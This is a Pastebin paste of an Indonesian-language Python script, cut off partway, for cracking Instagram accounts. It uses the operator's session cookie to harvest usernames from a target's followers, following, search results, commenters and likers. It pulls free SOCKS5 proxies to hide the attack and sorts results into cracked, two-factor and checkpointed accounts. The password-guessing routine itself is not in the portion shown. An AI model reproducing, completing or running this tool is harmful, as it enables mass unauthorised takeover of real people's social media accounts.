OBF-XIn

140.213.40.10-/sdcard/Premium/instagram.py.py

Apr 10th, 2024
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 110.87 KB | None | 0 0
  1. #--------[ CREATE BY ZORA ID 2024]--------#
  2.  
  3. try:
  4.     import uuid, hmac, hashlib, urllib, shutil, base64
  5.     import os, re, sys, json, time, random, datetime, requests
  6.     from rich.tree import Tree
  7.     from rich import print as printz
  8.     from rich.panel import Panel
  9.     from rich.console import Console
  10.     from rich.columns import Columns
  11.     from concurrent.futures import ThreadPoolExecutor
  12.     from banner import Terminal    
  13.     from facebook import Facebook
  14.     from asset.pengguna import Pengguna
  15.     from asset.enc_password import Requre
  16.     from asset.amankan_data import Require
  17.     from asset.useragent_ig import Useragent
  18. except(Exception, KeyboardInterrupt) as e:
  19.     try:
  20.         from urllib.parse import quote
  21.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=INSTAGRAM%20ERROR%20%3A%20{quote(str(e))}')
  22.         exit()
  23.     except(Exception, KeyboardInterrupt) as e:
  24.         from urllib.parse import quote
  25.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=INSTAGRAM%20ERROR%20%3A%20{quote(str(e))}')
  26.         exit()
  27.  
  28. dump = []
  29.            
  30. class Requ:
  31.     def __init__(self) -> None:
  32.         self.proxies = []
  33.         pass        
  34.        
  35.     def Convert_Name(self, xxx, cookie):
  36.         with requests.Session() as r:
  37.             try:
  38.                 response = r.get(f'https://www.instagram.com/{xxx}/', headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}, cookies={'cookie': cookie}).text
  39.                 if 'user_id' in str(response):
  40.                     return(re.findall('"user_id":"(\d+)"', str(response))[0])
  41.             except (Exception) as e: pass
  42.            
  43.     def Convert_Url(self, xxx, cookie):
  44.         with requests.Session() as r:
  45.             try:
  46.                 response = r.get(xxx, cookies={'cookie': cookie}).text
  47.                 if 'media_id' in str(response):
  48.                     return(re.findall('{"media_id":"(.*?)"',str(response))[0])
  49.             except (Exception) as e: exit(e)
  50.  
  51.     def Validasi_Username(self, username):
  52.        with requests.Session() as r:
  53.            try:
  54.                response = r.get("https://i.instagram.com/api/v1/users/web_profile_info/?username={}".format(username), headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}).json()
  55.                return (response["data"]["user"]["full_name"], response["data"]["user"]["edge_followed_by"]["count"], response["data"]["user"]["edge_follow"]["count"], response["data"]["user"]["edge_owner_to_timeline_media"]["count"])
  56.            except (Exception) as e: return(None,None,None,None)
  57.            
  58.     def DeviceId(self):
  59.         return 'android-%s'%(self.uuid_(True)[:16])
  60.  
  61.     def uuid_(self, abcd=None, zd=None):
  62.         if zd is not None:
  63.            m = hashlib.md5()
  64.            m.update(zd.encode('utf-8'))
  65.            i = uuid.UUID(m.hexdigest())
  66.         else:
  67.            i = uuid.uuid4()
  68.            if abcd: return str(i.hex)
  69.         return str(i)
  70.  
  71.     def adid(self, username):
  72.         sha2 = hashlib.sha256()
  73.         sha2.update(username.encode('utf-8'))
  74.         abcd = sha2.hexdigest()
  75.         return self.uuid_(False, abcd)
  76.  
  77.     def guid(self):
  78.         return self.uuid_(False)
  79.  
  80.     def poid(self):
  81.         return self.uuid_(False, self.guid())
  82.        
  83.     def Socksku(self):
  84.         with requests.Session() as r:
  85.             try:
  86.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  87.                 for prox in response.splitlines():
  88.                     self.proxies.append(prox)
  89.                 return self.proxies
  90.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()                
  91.        
  92. class Login:
  93.     def __init__(self) -> None:
  94.         pass
  95.        
  96.     def Username_And_Password(self):
  97.         try:
  98.             Terminal().Banner_Instagram()
  99.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]Silakan Masukan Cookie Instagram, Pastikan Akun Tidak Limite!", subtitle = "╭─────", subtitle_align = "left"))
  100.             cookies = Console().input("[bold grey50]   ╰─> ")
  101.             if len(cookies) >0:
  102.                 self.username, self.fullname = self.Validasi_Cookies(cookies)
  103.                 with open('.cookie_instagram.json', 'w') as wr:
  104.                     wr.write(json.dumps({
  105.                         "Cookie": cookies,
  106.                     }))
  107.                     wr.close()
  108.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Datang [green]{self.username}/{self.fullname}[white], Jalankan Ulang Perintahnya!!...", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Success[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  109.                 exit()
  110.             else:
  111.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Masukan Cookie Instagram, Jangan Sampai Kosong Ngabs!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  112.                 exit()
  113.         except (KeyboardInterrupt, Exception) as e:
  114.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  115.             exit()    
  116.        
  117.     def Validasi_Cookies(self, cookies):
  118.         with requests.Session() as r:
  119.             r.headers.update({
  120.                 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3',
  121.             })
  122.             response = r.get('https://i.instagram.com/api/v1/users/{}/info/'.format(re.search('ds_user_id=(\d+)',str(cookies)).group(1)), cookies = {
  123.                 'cookie': cookies
  124.             })
  125.             self.payload = json.loads(response.text)
  126.             if '\'username\':' in str(self.payload):
  127.                 self.username = self.payload['user']['username']
  128.                 self.fullname = self.payload['user']['full_name']
  129.                 return(self.username, self.fullname)
  130.             else:
  131.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Opss, Cookies Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  132.                 time.sleep(3.5)
  133.                 self.Username_And_Password()
  134.                
  135. class Instagram:
  136.     def __init__(self):
  137.         self.uaman, self.uaku = [],[]
  138.         self.password_manual, self.masukan_sandi, self.Kilometers, self.Meterans, self.amankan_akun = [],[],[],[],[]
  139.         self.success, self.chekpoint, self.faktor, self.looping, self.sandi_salah = 0,0,0,0,0
  140.         self.Create_Dir()
  141.        
  142.     def Create_Dir(self):
  143.         try: os.mkdir('OK')
  144.         except: pass
  145.         try: os.mkdir('/sdcard/OK')
  146.         except: pass
  147.         try: os.mkdir('2F')
  148.         except: pass
  149.         try: os.mkdir('/sdcard/2F')
  150.         except: pass
  151.         try: os.mkdir('CP')
  152.         except: pass
  153.         try: os.mkdir('/sdcard/CP')
  154.         except: pass
  155.  
  156.     def Remove_Cookie(self):
  157.         try: os.system('rm -rf .cookie_instagram.json')
  158.         except (Exception): pass
  159.         Login().Username_And_Password()
  160.  
  161.     def Chek_Cookies(self, created, exspired, sisa):
  162.         try:
  163.            cookie = json.loads(open('.cookie_instagram.json', 'r').read())['Cookie']
  164.            self.Menu_Instagram(created, exspired, sisa, cookie)          
  165.         except (FileNotFoundError) as e:
  166.            Terminal().Clear_Terminal()
  167.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  168.            Console().print("[bold grey50]   ╰─> File Not Found Error!!..")
  169.            time.sleep(3.5)
  170.            self.Remove_Cookie()
  171.            
  172.     def Menu_Instagram(self, created, exspired, sisa, cookie):
  173.         try:
  174.             bulan = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  175.             script, online = Pengguna()
  176.             txp,bxp,hxp = exspired.split('-'); tcd,bcd,hcd = created.split('-')
  177.             self.username, self.fullname = Login().Validasi_Cookies(cookie)
  178.         except (KeyError) as e:
  179.             Terminal().Clear_Terminal()
  180.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  181.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!...")
  182.             time.sleep(3.5)
  183.             self.Remove_Cookie()
  184.            
  185.         except (requests.exceptions.ConnectionError) as e:
  186.             Terminal().Clear_Terminal()
  187.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  188.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!...")
  189.             time.sleep(3.5)
  190.             self.Chek_Cookies()
  191.         try:                    
  192.             Terminal().Banner_Instagram()
  193.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Username [bold green]{self.username}\n[bold green]•[bold white] Fullname [bold green]{self.fullname}\n[bold green]•[bold white] Pengguna [bold green]{script}.00', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  194.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Join [bold green]{hcd} {bulan[bcd]} {tcd}\n[bold green]•[bold white] Exspired [bold red]{hxp} {bulan[bxp]} {txp}\n[bold green]•[bold white] Online [bold green]{online}.00', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info License[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  195.             Console().print(Columns(self.Kilometers))
  196.         except (AttributeError) as e:
  197.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  198.             exit()
  199.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack nama dari follower    [bold white][bold green]06[bold white]. Chek Detedtor Chekpoint\n[bold white][bold green]02[bold white]. Crack nama dari following\t[bold white][bold green]07[bold white]. Chek Result Crack Anda\n[bold white][bold green]03[bold white]. Crack nama dari search nama\t[bold white][bold green]08[bold white]. Beralih Ke Facebook\n[bold white][bold green]04[bold white]. Crack nama dari komentar\t[bold white][bold green]00[bold white].[bold red] Exit Instagram\n[bold white][bold green]05[bold white]. Crack nama dari likers''', title = f"[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Instagram[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  200.         query = Console().input("[bold grey50]   ╰─> ")
  201.         if query == '01' or query == '1':
  202.             try:
  203.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci, Note [bold green]Akun Centang Biru Bisa Di Dump, Tetapi Tidak Semua Akun Centang Biru Bisa Di Dump[bold white], Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  204.                 username = Console().input("[bold grey50]   ╰─> ")
  205.                 for self.username in username.split(','):
  206.                     uid = Requ().Convert_Name(self.username, cookie)
  207.                 try: self.Dump_Followers(uid, cookie, '')
  208.                 except (Exception) as e: pass
  209.                 if len(dump) < 50:
  210.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  211.                     exit()
  212.                 else:
  213.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  214.                     self.Methode()
  215.             except (Exception) as e:
  216.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  217.                 exit()
  218.                
  219.         elif query == '02' or query == '2':
  220.             try:
  221.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci, Note [bold green]Akun Centang Biru Bisa Di Dump, Tetapi Tidak Semua Akun Centang Biru Bisa Di Dump[bold white], Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  222.                 username = Console().input("[bold grey50]   ╰─> ")
  223.                 for self.username in username.split(','):
  224.                     uid = Requ().Convert_Name(self.username, cookie)
  225.                 try: self.Dump_Following(uid, cookie, '')
  226.                 except (Exception) as e: pass
  227.                 if len(dump) < 50:
  228.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  229.                     exit()
  230.                 else:
  231.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  232.                     self.Methode()
  233.             except (Exception) as e:
  234.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  235.                 exit()
  236.                
  237.         elif query == '03' or query == '3':
  238.             try:
  239.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Minimal 10 Username!, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  240.                 username = Console().input("[bold grey50]   ╰─> ")
  241.                 for self.username in username.split(','):
  242.                     try: self.Dump_Search(self.username, cookie)
  243.                     except (Exception) as e: pass
  244.                 if len(dump) < 50:
  245.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  246.                     exit()
  247.                 else:
  248.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  249.                     self.Methode()
  250.             except (Exception) as e:
  251.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  252.                 exit()
  253.                
  254.         elif query == '04' or query == '4':
  255.             try:
  256.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram[bold green] Usahakan Cari Yang Komentarnya Banyak![bold white], Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  257.                 username = Console().input("[bold grey50]   ╰─> ")
  258.                 for self.username in username.split(','):
  259.                     uid = Requ().Convert_Url(self.username, cookie)
  260.                 try: self.Dump_Komentar(uid, cookie, '')
  261.                 except (Exception) as e: pass
  262.                 if len(dump) < 50:
  263.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  264.                     exit()
  265.                 else:
  266.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  267.                     self.Methode()
  268.             except (Exception) as e:
  269.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  270.                 exit()
  271.                
  272.         elif query == '05' or query == '5':
  273.             try:
  274.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram[bold green] Usahakan Cari Yang Likenya Banyak![bold white], Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  275.                 username = Console().input("[bold grey50]   ╰─> ")
  276.                 for self.username in username.split(','):
  277.                     uid = Requ().Convert_Url(self.username, cookie)
  278.                 try: self.Dump_Likers(uid, cookie, '')
  279.                 except (Exception) as e: pass
  280.                 if len(dump) < 50:
  281.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  282.                     exit()
  283.                 else:
  284.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  285.                     self.Methode()
  286.             except (Exception) as e:
  287.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  288.                 exit()
  289.                
  290.         elif query == '06' or query == '6':
  291.             try: file = os.listdir('/sdcard/CP')
  292.             except (Exception) as e:
  293.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  294.                 exit()
  295.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  296.             Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  297.             files = Console().input("[bold grey50]   ╰─> ")
  298.             Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  299.             Console().input("[bold grey50]   ╰─> Tekan Enter!!")
  300.             for buka in open('/sdcard/CP/'+str(files)).readlines():
  301.                 try:
  302.                     username, password = buka.split('|')[1], buka.split('|')[2]
  303.                     self.DetedtorChekpoint(username, password)
  304.                 except (Exception) as e:
  305.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  306.                     exit()
  307.                
  308.         elif query == '07' or query == '7':
  309.             try:
  310.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result 2F\n[bold green]03[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  311.                 choose = Console().input("[bold grey50]   ╰─> ")
  312.                 if choose =='01' or choose =='1':
  313.                     try:
  314.                         file = os.listdir('/sdcard/OK')
  315.                     except (Exception) as e:
  316.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  317.                         exit()
  318.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  319.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]OK-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  320.                     files = Console().input("[bold grey50]   ╰─> ")
  321.                     self.Result(choose,files)
  322.                     exit()
  323.                 elif choose =='02' or choose =='2':
  324.                     try:
  325.                         file = os.listdir('/sdcard/2F')
  326.                     except (Exception) as e:
  327.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  328.                         exit()
  329.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File 2F[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  330.                     Console(width=65).print(Panel('[bold white]Chek File 2F, Masukan Nama File, Misalnya : [bold red]2F-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  331.                     files = Console().input("[bold grey50]   ╰─> ")
  332.                     self.Result(choose,files)
  333.                     exit()
  334.                 elif choose =='03' or choose =='3':
  335.                     try:
  336.                         file = os.listdir('/sdcard/CP')
  337.                     except (Exception) as e:
  338.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  339.                         exit()
  340.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  341.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  342.                     files = Console().input("[bold grey50]   ╰─> ")
  343.                     self.Result(choose,files)
  344.                     exit()
  345.                 else:
  346.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  347.                     exit()  
  348.             except (Exception) as e:
  349.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  350.                 exit()
  351.                
  352.         elif query == '08' or query == '8':
  353.             try: Facebook()
  354.             except (Exception) as e:
  355.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  356.                 exit()
  357.                              
  358.         elif query == '00' or query == '0':
  359.             try: self.Remove_Cookie()
  360.             except (Exception) as e:
  361.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  362.                 exit()
  363.         else:
  364.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  365.             exit()              
  366.                  
  367.     def Dump_Search(self, username, cookie):
  368.         with requests.Session() as r:
  369.             try:
  370.                 response = r.get(f'https://www.instagram.com/web/search/topsearch/?count=100&context=blended&query={self.username}',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
  371.                 for akun in response['users']:
  372.                     username, fullname = akun['user']['username'], akun['user']['full_name']
  373.                     if username+'<=>'+fullname not in dump: dump.append(username+'<=>'+fullname)
  374.                     Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  375.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
  376.            
  377.     def Dump_Followers(self, username, cookie, max_id):
  378.         with requests.Session() as r:
  379.             try:
  380.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  381.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/followers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  382.                 for akun in response['users']:
  383.                     if akun not in dump:
  384.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  385.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  386.                 if 'next_max_id' in str(response):
  387.                     self.Dump_Followers(username, cookie, response['next_max_id'])
  388.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  389.            
  390.     def Dump_Following(self, username, cookie, max_id):
  391.         with requests.Session() as r:
  392.             try:
  393.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
